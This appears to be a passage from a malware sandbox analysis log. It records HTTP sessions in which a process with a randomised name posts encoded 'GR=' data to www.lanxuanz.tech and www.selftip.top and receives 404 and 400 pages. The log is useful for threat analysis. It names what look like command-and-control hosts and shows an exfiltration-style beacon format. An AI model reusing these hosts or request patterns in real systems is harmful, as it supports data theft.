                                        Set-Cookie: zalb_8ae64e9492=9a53152e40f8a6327f1486af29c1a1cb; Path=/
                                        Set-Cookie: csrfc=f41883fb-d538-4e76-98ab-7241013c9a99;path=/;priority=high
                                        Set-Cookie: _zcsr_tmp=f41883fb-d538-4e76-98ab-7241013c9a99;path=/;SameSite=Strict;priority=high
                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                        Pragma: no-cache
                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                        vary: accept-encoding
                                        Content-Encoding: gzip
                                        Data Raw: 35 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cd 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED]
                                        Data Ascii: 56fX[o6~`h(%+v:{%"BINRkiv|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
                                        Sep 19, 2024 15:06:07.124869108 CEST723INData Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73
                                        Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        23192.168.2.449761136.143.186.1280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:09.343506098 CEST10873OUTPOST /ivo1/ HTTP/1.1
                                        Host: www.lanxuanz.tech
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.lanxuanz.tech
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.lanxuanz.tech/ivo1/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 48 50 51 75 2b 6a 69 49 71 4f 46 62 46 55 50 70 6f 55 62 2b 6d 72 64 35 32 78 6f 38 4d 79 70 37 68 2b 51 56 46 48 4c 69 65 47 39 51 65 45 53 4a 67 69 38 39 43 36 35 37 44 7a 35 6a 43 4d 4b 73 78 4c 4c 66 41 7a 55 30 6f 39 37 42 44 70 4a 67 58 2b 33 5a 72 47 74 38 57 4b 6d 6e 74 66 74 65 38 4c 4d 55 4f 74 38 75 55 4c 64 32 42 31 35 38 73 4d 39 79 73 74 45 48 4f 5a 73 4a 6b 61 5a 64 75 6e 4f 6c 73 62 6b 78 57 39 52 31 64 55 67 4c 63 41 58 61 6c 2f 4b 44 71 55 70 30 38 32 79 61 65 58 6e 62 62 50 4a 4b 69 2f 36 76 41 72 38 42 49 58 5a 57 55 56 53 42 46 59 39 6d 6b 69 33 36 75 48 79 58 51 37 38 55 51 61 55 35 52 78 5a 4f 72 6a 67 63 58 30 57 6a 4f 70 7a 34 57 33 56 6b 54 41 55 66 61 51 77 5a 43 69 69 41 55 64 66 74 64 6c 37 4f 39 33 79 70 33 77 41 36 4c 51 6b 49 54 69 75 72 75 74 63 4c 67 56 6a 69 4d 61 6d 6f 69 2b 6e 32 43 7a 4d 65 32 38 55 67 38 77 32 62 62 4a 55 43 51 2f 5a 59 69 58 76 72 73 5a 72 57 32 44 4a 34 68 77 66 37 71 74 6b 64 79 76 31 56 6a 76 [TRUNCATED]
                                        Data Ascii: GR=SJTlFd9On262HHPQu+jiIqOFbFUPpoUb+mrd52xo8Myp7h+QVFHLieG9QeESJgi89C657Dz5jCMKsxLLfAzU0o97BDpJgX+3ZrGt8WKmntfte8LMUOt8uULd2B158sM9ystEHOZsJkaZdunOlsbkxW9R1dUgLcAXal/KDqUp082yaeXnbbPJKi/6vAr8BIXZWUVSBFY9mki36uHyXQ78UQaU5RxZOrjgcX0WjOpz4W3VkTAUfaQwZCiiAUdftdl7O93yp3wA6LQkITiurutcLgVjiMamoi+n2CzMe28Ug8w2bbJUCQ/ZYiXvrsZrW2DJ4hwf7qtkdyv1VjvrZN/0f7A2Iz5RC43HsbZzw1VTMUIdM7w5QrhG7fJc1pQ004c7sIyERCIL6FoiNXknrco+LxjK4Ib+DBA6MmZUOk6saxKfSNGH6JnIFRraEjeJNbZxLdYYsxlaREPcgNvj+RgjDkznt0985gJyhQ6ltmnAV3XCFiUU97XoxE61Q8lGphvqyQxYILaUDYIQOYrRx4fDZNy5y/LecaoIv+i9BqD35hCGwisG6vQbExNtc4HRBFvfAvvP6q+wKtzTYza8WqI9ppOP0jCz1MxhC15vzcxEkePBEia8T79+NdDjxoSdIFj/lNZmAdBuPGCZZE/a/w4TnnW4SYDEIM0y1OZOppKHB36/1T8WSJIsvFjGGy96mn2szqyp6NJOkZKWV/nXv8Ej05a1JmTQWg1+2EEoPGA4s44PtyA3sCJWLiUE0gNslX1VLWPUD2AaoQl+HrJCquGnaTaNIGDYLEDUC6Q9y9T1kkXsU44Ux0gNLpdpi0bjJKmnsTftdizKtYfZFx3GWnlogRlpP63dMnkz3FscYAelkbPUv2enNKOzB8JhGEHY6SDQS1BVWwPAB28kWvCKoWImlZQnjKyMOsSgujRKR1weELnBOANVz/QgJZLU8gWjSsMiNiA3sn6dF9kGO461+7Hkd4/wvs7Y+FFSkBb/VD3WPgoO67beH [TRUNCATED]
                                        Sep 19, 2024 15:06:10.025729895 CEST549INHTTP/1.1 400
                                        Server: ZGS
                                        Date: Thu, 19 Sep 2024 13:06:09 GMT
                                        Content-Type: text/html;charset=ISO-8859-1
                                        Content-Length: 80
                                        Connection: close
                                        Set-Cookie: zalb_8ae64e9492=346483e803ff107bf3906cbcefa288fe; Path=/
                                        Set-Cookie: csrfc=bbe4f522-9c39-434e-94e3-1883b927e683;path=/;priority=high
                                        Set-Cookie: _zcsr_tmp=bbe4f522-9c39-434e-94e3-1883b927e683;path=/;SameSite=Strict;priority=high
                                        Set-Cookie: JSESSIONID=F0B5E9D81430129594ABF33CA87E538C; Path=/; HttpOnly
                                        Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 22 34 30 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 22 31 22 2c 22 64 65 76 65 6c 6f 70 65 72 5f 6d 65 73 73 61 67 65 22 3a 22 49 6e 76 61 6c 69 64 20 69 6e 70 75 74 2e 22 7d 0a 0a
                                        Data Ascii: {"response_code":"400","status_code":"1","developer_message":"Invalid input."}


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        24192.168.2.449762136.143.186.1280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:11.885199070 CEST505OUTGET /ivo1/?GR=fL7FGqwZgFyeKETJ58v2LpmodVM6vZtD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhpKNreTIBn1GsPPCO7XuNhO+zSMbYdoB0rmQ=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.lanxuanz.tech
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:06:12.504336119 CEST1236INHTTP/1.1 404
                                        Server: ZGS
                                        Date: Thu, 19 Sep 2024 13:06:12 GMT
                                        Content-Type: text/html
                                        Content-Length: 4641
                                        Connection: close
                                        Set-Cookie: zalb_8ae64e9492=0f71d2b25c73f2883ce01c2fd3c97eb8; Path=/
                                        Set-Cookie: csrfc=05162fc2-8807-4d5b-8a1f-bb0fd5ea0fd5;path=/;priority=high
                                        Set-Cookie: _zcsr_tmp=05162fc2-8807-4d5b-8a1f-bb0fd5ea0fd5;path=/;SameSite=Strict;priority=high
                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                        Pragma: no-cache
                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                        vary: accept-encoding
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 5a 6f 68 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6e 74 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 [TRUNCATED]
                                        Data Ascii: <!DOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nosnippet" /> <title>Zoho</title> <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600"> <style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:0px; padding:0px; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%); background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50
                                        Sep 19, 2024 15:06:12.504373074 CEST1236INData Raw: 25 2c 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2c 20 23 66 64 63 30 30 30 20 37 35 25 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a
                                        Data Ascii: %, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%); background-size:452px auto;height:3px; } .mainContainer{ width:1000px; margin:0px auto; } .logo{ margin
                                        Sep 19, 2024 15:06:12.504388094 CEST1236INData Raw: 20 20 20 20 20 20 20 20 68 33 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4f 70 65 6e 20 53 61 6e 73 22 3b 0a 20 20 20 20
                                        Data Ascii: h3{ font-size:18px; font-family: "Open Sans"; font-weight:normal; font-weight:600; } .weight400{ font-weight:400; } .domain-color{
                                        Sep 19, 2024 15:06:12.504400015 CEST1236INData Raw: 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b
                                        Data Ascii: rgba(0, 0, 0, 0.12); color: #ffffff; font-size: 18px; font-weight: 300; padding: 10px 20px; text-decoration: none; position:relative; } </style
                                        Sep 19, 2024 15:06:12.504409075 CEST223INData Raw: 63 6f 6e 74 61 69 6e 65 72 22 3e 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 77 69 64 74 68 3d 22 37 30 30 70 78 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7a 6f 68 6f 2e 63 6f 6d 2f 73 69 74 65
                                        Data Ascii: container"> <img width="700px" src="https://www.zoho.com/sites/images/professionally-crafted-themes.png" style="margin-top: 15px"> </div> </div> </div> </body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        25192.168.2.449763199.192.21.16980932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:18.075923920 CEST765OUTPOST /85su/ HTTP/1.1
                                        Host: www.selftip.top
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.selftip.top
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.selftip.top/85su/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 6a 4c 39 45 77 69 6c 58 6f 52 6b 48 46 61 4a 2b 56 76 73 6b 31 79 70 46 5a 55 4d 44 64 50 39 50 4f 6c 38 76 77 4c 41 4b 67 73 36 6c 53 51 6c 6c 63 68 6d 2b 2f 41 70 4b 50 42 63 41 73 79 70 2b 70 66 4c 55 6b 74 6d 77 45 76 6a 78 47 6c 47 6c 59 39 31 4b 2f 62 48 55 70 59 6c 6a 46 6d 75 75 6b 31 43 53 72 74 30 66 33 37 71 39 6d 57 77 74 57 6f 68 54 7a 47 6b 68 4b 54 61 33 74 54 4c 71 58 62 61 33 2f 7a 4e 4a 48 73 77 32 57 42 52 55 6a 39 6d 7a 6a 35 72 44 64 71 7a 44 52 34 50 38 66 79 57 43 6b 2f 6f 62 32 4f 4b 35 58 4f 44 35 77 5a 55 38 6f 77 3d 3d
                                        Data Ascii: GR=z1pacXv3zqUDjL9EwilXoRkHFaJ+Vvsk1ypFZUMDdP9POl8vwLAKgs6lSQllchm+/ApKPBcAsyp+pfLUktmwEvjxGlGlY91K/bHUpYljFmuuk1CSrt0f37q9mWwtWohTzGkhKTa3tTLqXba3/zNJHsw2WBRUj9mzj5rDdqzDR4P8fyWCk/ob2OK5XOD5wZU8ow==
                                        Sep 19, 2024 15:06:18.587874889 CEST980INHTTP/1.1 404 Not Found
                                        Date: Thu, 19 Sep 2024 13:06:18 GMT
                                        Server: Apache
                                        X-Frame-Options: SAMEORIGIN
                                        Content-Length: 774
                                        X-XSS-Protection: 1; mode=block
                                        Connection: close
                                        Content-Type: text/html
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        26192.168.2.449764199.192.21.16980932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:20.637497902 CEST785OUTPOST /85su/ HTTP/1.1
                                        Host: www.selftip.top
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.selftip.top
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.selftip.top/85su/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 69 71 4e 45 32 7a 6c 58 6b 68 6b 45 4c 36 4a 2b 65 50 73 67 31 79 6c 46 5a 56 35 49 64 39 70 50 50 45 4d 76 69 36 41 4b 7a 63 36 6c 59 77 6c 67 44 78 6e 79 2f 41 56 43 50 42 51 41 73 7a 4e 2b 70 64 44 55 6c 65 65 78 43 76 6a 7a 4f 46 47 72 46 4e 31 4b 2f 62 48 55 70 59 78 4a 46 6e 47 75 6a 46 79 53 72 4a 6f 41 37 62 72 50 6a 6d 77 74 53 6f 67 61 7a 47 6b 50 4b 57 37 71 74 51 6a 71 58 65 6d 33 2f 69 4e 49 49 73 77 38 49 78 51 47 74 63 53 32 71 4c 75 41 55 4e 62 45 50 34 66 75 65 30 48 59 31 4f 4a 4d 6b 4f 75 4b 4b 4a 4b 4e 39 61 70 31 7a 39 32 48 37 55 73 61 55 6a 58 4f 7a 74 30 32 66 6e 69 54 42 6f 49 3d
                                        Data Ascii: GR=z1pacXv3zqUDiqNE2zlXkhkEL6J+ePsg1ylFZV5Id9pPPEMvi6AKzc6lYwlgDxny/AVCPBQAszN+pdDUleexCvjzOFGrFN1K/bHUpYxJFnGujFySrJoA7brPjmwtSogazGkPKW7qtQjqXem3/iNIIsw8IxQGtcS2qLuAUNbEP4fue0HY1OJMkOuKKJKN9ap1z92H7UsaUjXOzt02fniTBoI=
                                        Sep 19, 2024 15:06:21.256535053 CEST980INHTTP/1.1 404 Not Found
                                        Date: Thu, 19 Sep 2024 13:06:21 GMT
                                        Server: Apache
                                        X-Frame-Options: SAMEORIGIN
                                        Content-Length: 774
                                        X-XSS-Protection: 1; mode=block
                                        Connection: close
                                        Content-Type: text/html
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED]
                                        Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        27192.168.2.449765199.192.21.16980932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:23.181493044 CEST10867OUTPOST /85su/ HTTP/1.1
                                        Host: www.selftip.top
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.selftip.top
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.selftip.top/85su/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 7a 31 70 61 63 58 76 33 7a 71 55 44 69 71 4e 45 32 7a 6c 58 6b 68 6b 45 4c 36 4a 2b 65 50 73 67 31 79 6c 46 5a 56 35 49 64 39 78 50 50 33 45 76 7a 70 59 4b 77 63 36 6c 47 67 6c 68 44 78 6e 37 2f 41 4e 47 50 42 4d 50 73 78 46 2b 6d 65 62 55 69 76 65 78 52 50 6a 7a 4d 46 47 71 59 39 31 6c 2f 62 33 59 70 59 68 4a 46 6e 47 75 6a 48 71 53 37 4e 30 41 35 62 71 39 6d 57 77 68 57 6f 68 7a 7a 47 39 79 4b 57 2b 64 74 68 44 71 58 2b 57 33 39 51 6c 49 42 73 77 79 4a 78 52 44 74 63 50 6d 71 4c 79 71 55 49 6e 69 50 36 44 75 64 41 75 45 67 4f 38 62 6e 75 2b 31 4a 6f 6e 72 7a 5a 46 72 33 4e 54 35 39 30 41 5a 4c 51 6a 42 35 66 77 37 44 33 53 4e 64 38 58 46 6a 6e 61 5a 77 61 76 4b 36 70 52 4c 48 45 52 69 6e 39 4b 31 57 74 70 79 4c 6c 39 63 4d 4b 76 77 2b 65 6c 53 47 62 2b 4c 52 74 4a 67 4f 52 54 51 64 65 51 4d 50 58 37 4c 79 42 33 54 30 51 66 65 6b 33 76 67 46 54 4e 6f 68 33 7a 36 58 53 56 49 75 53 62 66 4d 44 2b 51 34 76 44 61 79 52 6b 65 49 6a 43 6e 53 49 45 38 34 58 6a 79 32 68 32 6d 59 4a 66 50 2b 77 6a [TRUNCATED]
                                        Data Ascii: GR=z1pacXv3zqUDiqNE2zlXkhkEL6J+ePsg1ylFZV5Id9xPP3EvzpYKwc6lGglhDxn7/ANGPBMPsxF+mebUivexRPjzMFGqY91l/b3YpYhJFnGujHqS7N0A5bq9mWwhWohzzG9yKW+dthDqX+W39QlIBswyJxRDtcPmqLyqUIniP6DudAuEgO8bnu+1JonrzZFr3NT590AZLQjB5fw7D3SNd8XFjnaZwavK6pRLHERin9K1WtpyLl9cMKvw+elSGb+LRtJgORTQdeQMPX7LyB3T0Qfek3vgFTNoh3z6XSVIuSbfMD+Q4vDayRkeIjCnSIE84Xjy2h2mYJfP+wjg3qz+itTmmLs87u83PSwROFL/X1CQ/z2+cogCM4EuY/NYWkPEuGHYlPCxnRDNCMYAQRb49cI16lbjj1aun+cKmggMC0zN+WSAQvXKIqKzGKEoJvWNLyceHcxnQHO148A6h3u444gVZw1075CdyxNFfz+4hJSOwDd/gKt4yf/ANfqmIdVbmamf3iC6iRUNK+Tm6V+/T7Ec8nWGHHNNlJZEw8LByU5DYgM7OswVIJH8V6X+D8gSC4VrGnMKT0Kvl18muOlZp7uUkLiGNh7C4FcUHwXNmaD83GQa3XJ7jnFNuXgRQ6EahbrFPN/qhlZvOqiTXQaH2YdSE6fYEC7Fe7Eb53vPLvoZagXNTsf+H5kguh5771cb/n/DsekqL/K8Y2gQRuhqP6zyy0k0dwijAy0ZRI4u6ziQGT6APwOL0KCEhT5CrPSj0OFr+i0eAaRXTn0oBXgQBnTuX7OeAQ6pYTeU7UME3xTsgtBpnNBEUVoTUxffu5VzibKhhcN5Zwf0HkBz4Lw+GBHn22nI1gIbRugGJGLLMeCNW4XznxOablhPoOy2AXJx50ECQOi5lshIaSjBlt0RYVgSqsPAfKSZ3J6tm2Vrq